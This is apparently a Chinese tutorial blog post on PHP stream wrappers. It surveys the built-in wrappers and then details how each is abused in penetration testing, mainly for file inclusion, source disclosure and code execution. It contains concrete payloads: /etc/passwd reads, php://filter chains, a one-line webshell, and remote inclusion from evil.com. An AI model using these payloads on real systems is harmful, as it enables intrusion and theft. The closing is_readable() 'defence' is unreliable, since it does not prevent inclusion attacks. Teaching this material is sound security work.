什么是php wrapper?
PHP wrapper基于流(stream)的概念,流是数据传输的抽象表示。wrapper定义了如何处理特定协议或资源(如文件、HTTP请求、内存流)的输入输出操作。每个wrapper通过PHP的流函数(如 fopen()
、file_get_contents
)与底层资源交互,提供统一的借口来操作不同类型的数据源。wrapper除了内置于PHP之外,也可以通过 stream_wrapper_register()
自定义。
如以下php代码
1 |
|
等同于
1 |
|
PHP内置Wrapper列表
包装器名称 | 原理 | 用途 |
---|---|---|
file:// | 默认的文件系统包装器,允许访问本地文件系统中的文件和目录。 | 用于读取或写入本地文件,如配置文件、日志文件等。 |
http:// | 通过HTTP协议访问远程服务器上的资源,使用GET方法获取数据。 | 用于从Web服务器获取文件或数据(如API调用),常用于抓取网页内容。 |
https:// | 与http://类似,但通过SSL/TLS加密传输数据。 | 用于安全地访问远程Web资源,常用于处理需要加密的HTTP请求。 |
ftp:// | 通过FTP协议访问远程FTP服务器上的文件,支持身份验证。 | 用于从FTP服务器下载或上传文件,常用于文件传输任务。 |
ftps:// | FTP的加密版本,使用SSL/TLS保护数据传输。 | 用于安全地传输文件到FTP服务器,适用于需要加密的场景。 |
php:// | 特殊的I/O流包装器,用于访问PHP进程的输入输出流或临时内存。 | 提供对标准输入输出、请求体、内存流的访问,常用于处理自定义输入输出或调试。 |
data:// | 允许直接嵌入数据到URI中,通常以Base64编码形式存储。 | 用于将小型数据(如图片或脚本)嵌入代码中,避免外部文件依赖,常用于测试或简单数据传递。 |
zip:// | 访问ZIP压缩文件内的内容,需提供ZIP文件路径和内部文件路径。 | 用于读取或操作ZIP文件中的内容,如解压特定文件,常用于处理压缩包。 |
phar:// | 访问PHP归档文件(Phar)中的内容,类似于ZIP但专为PHP设计。 | 用于运行或访问Phar打包的PHP应用,常用于分发PHP库或应用程序。 |
glob:// | 使用通配符模式匹配文件系统中的文件或目录。 | 用于批量处理文件,如查找所有.txt文件,常用于文件管理任务。 |
compress.zlib:// | 处理使用zlib(gzip)压缩的文件或流,支持读写操作。 | 用于解压或压缩文件,常用于处理.gz文件或节省存储空间。 |
compress.bzip2:// | 处理使用bzip2压缩的文件或流,支持读写操作。 | 用于解压或压缩文件,常用于处理.bz2文件,提供更高的压缩率。 |
ssh2:// | 通过SSH2协议访问远程服务器的文件系统或执行命令(需SSH2扩展)。 | 用于通过SSH安全地操作远程文件或执行命令,常用于服务器管理。 |
ogg:// | 处理Ogg Vorbis音频流(需oggvorbis扩展)。 | 用于读取或处理Ogg格式音频文件,常用于音频应用开发。 |
php:// 子包装器详解
php://包装器功能丰富且用途广泛,其子类型如下:
子包装器 | 原理 | 用途 |
---|---|---|
php://stdin | 提供对标准输入流的只读访问,等同于常量STDIN。 | 用于从命令行读取用户输入,适用于CLI脚本。 |
php://stdout | 提供对标准输出流的可写访问,等同于常量STDOUT。 | 用于向命令行输出数据,适用于CLI脚本。 |
php://stderr | 提供对标准错误流的可写访问,等同于常量STDERR。 | 用于输出错误信息到命令行,适用于CLI脚本中的错误处理。 |
php://input | 提供对HTTP请求原始数据的只读访问,获取请求体内容。 | 用于读取POST、PUT等请求的原始数据,常用于RESTful API处理。 |
php://output | 提供对输出缓冲区的可写访问,类似echo或print。 | 用于直接写入输出缓冲区,常用于动态生成内容。 |
php://memory | 在内存中创建读写流,数据始终存储在内存中。 | 用于临时存储数据,适合小规模数据处理,关闭后数据丢失。 |
php://temp | 在内存中创建读写流,超出指定大小(如2MB)后转为临时文件。 | 用于处理较大临时数据,内存不足时自动切换到文件存储。 |
php://filter | 元包装器,允许在打开流时应用过滤器(如编码或转换)。 | 用于在读取或写入时处理数据,如将文件内容转为Base64编码,常用于调试或安全检查。 |
在渗透测试中的利用
file://
如果应用程序 未对用户输入的文件路径进行过滤 ,攻击者可以使用 file://
访问服务器上的任意可读文件。
1 | echo file_get_contents("file:///etc/passwd"); |
php://filter
在 file://
不可用或被WAF过滤时可以利用编码方式读取敏感信息
- base64读取php源码
1 | echo file_get_contents("php://filter/convert.base64-encode/resource=config.php"); |
- filter chain结合LFI实现RCE
github: https://github.com/synacktiv/php_filter_chain_generator
php_filter_chain_generator.py
利用PHP过滤器的可组合性,通过精心设计的过滤器组合,将攻击者提供的PHP代码(如 <?php system('id'); ?>
)转换为可在目标上下文中执行的形式,具体来说是利用不同编码和转码之间的差异,在php中这种差异导致的错误会被忽略,从而生成了不符预期的字符
我们可以在python源码中看到作者构建好的字母和数字的filter chain
1 |
|
即便是没有可写入路径的情况下也可以通过 php://temp
来利用。
示例:利用filters chain向日志文件中注入恶意代码,然后利用LFI执行
1 | python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>' |
1 | # Testers should make sure to change the $URL, $FILTERS with the chaining that generates their payload and $FILE with the path to the file they can read. |
data://
前提: allow_url_include
: on
data://
允许在 URL 直接嵌入 Base64 编码的数据,并作为输入流。include()
会将 Base64 解码,并执行 PHP 代码
1 | # Shell in base64 encoding |
php://input
前提: allow_url_include
: on
php://input
允许读取 HTTP 请求的 原始输入数据 。会直接解析用户传入的代码并执行
1 | # Testers should make sure to change the $URL |
expect://
前提:expect extension
如果 expect://
被启用,可以直接执行命令
1 | curl --user-agent "PENTEST" -s "$URL/?parameter=expect://id" |
zip://
前提:可以上传.zip文件
zip://
会读取和执行zip中的文件,可以绕过一些检查, 可通过 include('zip://evil.zip#shell.php')
来执行恶意代码
1 | echo "<?php system($_GET['cmd']); ?>" > payload.php |
phpar://
前提:可以上传文件
phar://
允许访问 .phar
归档文件中的数据, 原理基本同 zip://
1 |
|
如果 unserialize()
解析 phar://
,也可能触发 __wakeup()
或 __destruct()
执行任意代码
1 | $object = unserialize(file_get_contents("phar://evil.phar")); |
compress.zlib://
compress.zlib://
利用原理同上
1 | include('compress.zlib://shell.php.gz') |
compress.bzip2://
原理同上
1 | include('compress.bzip2://shell.php.bz2') |
ftp://
/ ftps://
前提:allow_url_fopen=On
ftp://
允许 PHP 访问 FTP 服务器上的文件,攻击者可以 远程包含恶意 PHP ,触发 RCE;也可以用于 SSRF(服务器端请求伪造) ,探测内网资产
1 | echo file_get_contents("ftp://user:[email protected]/malware.php"); |
http://
/ https://
http://
允许从远程服务器加载恶意资源(如PHP脚本),执行代码或伪装合法请求
1 | include('http://evil.com/shell.php') |
防御手段
- 禁用危险Wrappers
1
2
3allow_url_include=Off
allow_url_fopen=Off
disable_functions=system,passthru,exec,shell_exec,popen,proc_open - 使用
is_readable()
验证文件路径1
2
3
4
5if (is_readable($user_input_file)) {
include $user_input_file;
} else {
die("Invalid file");
} - 严格控制
unserialize()
1
$data = unserialize($input, ['allowed_classes' => false]);